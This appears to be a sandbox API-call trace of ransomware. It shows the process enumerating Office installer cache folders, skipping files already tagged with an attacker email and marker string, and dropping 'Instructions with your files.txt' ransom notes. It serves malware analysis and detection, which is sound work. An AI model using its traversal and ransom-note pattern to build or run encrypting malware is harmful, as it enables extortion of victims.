[0115.043] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0115.046] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0115.047] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0115.047] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0115.047] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0115.047] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0115.047] CloseHandle (hObject=0x10c) returned 1
[0115.047] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0115.047] GetProcessHeap () returned 0x810000
[0115.047] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0115.047] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x896fdd00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x896fdd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1
[0115.047] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned 66
[0115.047] GetProcessHeap () returned 0x810000
[0115.047] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0115.047] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*") returned 68
[0115.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x896fdd00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x896fdd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0115.052] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\.") returned 68
[0115.052] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0115.052] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x896fdd00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x896fdd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\..") returned 69
[0115.054] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x896fdd00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x896fdd00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x896fdd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0115.054] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34ae1a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x34ae1a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x89130760, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1e6700, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~1.COM")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0115.054] StrStrIW (lpFirst="Office32WW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x891568c0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x11b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OFFICE~2.COM")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0115.054] StrStrIW (lpFirst="Office32WW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf885a000, ftCreationTime.dwHighDateTime=0x1cac4d7, ftLastAccessTime.dwLowDateTime=0xf885a000, ftLastAccessTime.dwHighDateTime=0x1cac4d7, ftLastWriteTime.dwLowDateTime=0x8917ca20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x2aa68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSEEXE~1.COM")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 116
[0115.054] StrStrIW (lpFirst="ose.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd900f00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbd900f00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x8917ca20, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x709868, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OSETUP~1.COM")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 119
[0115.054] StrStrIW (lpFirst="osetup.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x147e5b00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x147e5b00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0x891a2b80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x228e05c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="OWOW32~1.COM")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0115.054] StrStrIW (lpFirst="OWOW32WW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3a02e00, ftCreationTime.dwHighDateTime=0x1cac5f7, ftLastAccessTime.dwLowDateTime=0xe3a02e00, ftLastAccessTime.dwHighDateTime=0x1cac5f7, ftLastWriteTime.dwLowDateTime=0x89580f40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x165610, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PIDGEN~1.COM")) returned 1
[0115.054] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0115.054] StrStrIW (lpFirst="PidGenX.dll_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.054] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe06a9500, ftCreationTime.dwHighDateTime=0x1cac7e5, ftLastAccessTime.dwLowDateTime=0xe06a9500, ftLastAccessTime.dwHighDateTime=0x1cac7e5, ftLastWriteTime.dwLowDateTime=0x89580f40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xaed3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PKEYCO~1.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 133
[0115.055] StrStrIW (lpFirst="pkeyconfig-office.xrm-ms_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbb2e2000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbb2e2000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x895a70a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x1a41d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROPLU~1.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0115.055] StrStrIW (lpFirst="ProPlusrWW.msi_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x895a70a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x42d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROPLU~2.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 123
[0115.055] StrStrIW (lpFirst="ProPlusrWW.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x895cd200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xa97ccdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROPRW~1.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 120
[0115.055] StrStrIW (lpFirst="ProPrWW.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x895cd200, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xd49ef31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPrWW2.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="PROPRW~2.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 121
[0115.055] StrStrIW (lpFirst="ProPrWW2.cab_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec13c00, ftCreationTime.dwHighDateTime=0x1cac15b, ftLastAccessTime.dwLowDateTime=0xbec13c00, ftLastAccessTime.dwHighDateTime=0x1cac15b, ftLastWriteTime.dwLowDateTime=0x896d7ba0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x150678, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPE~1.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0115.055] StrStrIW (lpFirst="setup.exe_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x896d7ba0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 1
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl") returned 118
[0115.055] StrStrIW (lpFirst="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", lpSrch="SDfghjkl") returned="SDfghjkl"
[0115.055] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x896d7ba0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml_4paNrg_{fiasco911@protonmail.com}SDfghjkl", cAlternateFileName="SETUPX~1.COM")) returned 0
[0115.055] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0115.055] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0115.056] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0115.056] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0115.057] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0115.057] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0115.057] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0115.057] CloseHandle (hObject=0x10c) returned 1
[0115.057] FindClose (in: hFindFile=0x82f2c0 | out: hFindFile=0x82f2c0) returned 1
[0115.057] GetProcessHeap () returned 0x810000
[0115.057] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0115.057] FindNextFileW (in: hFindFile=0x82f280, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8a11ba80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1
[0115.057] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned 66
[0115.057] GetProcessHeap () returned 0x810000
[0115.057] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0115.057] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*") returned 68
[0115.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8a11ba80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x82f2c0
[0116.606] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\.") returned 68
[0116.608] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0116.609] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x8a11ba80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0116.609] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\..") returned 69
[0116.609] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0116.614] FindNextFileW (in: hFindFile=0x82f2c0, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8a11ba80, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8a11ba80, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8a11ba80, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0116.614] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Instructions with your files.txt") returned 99
[0116.614] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
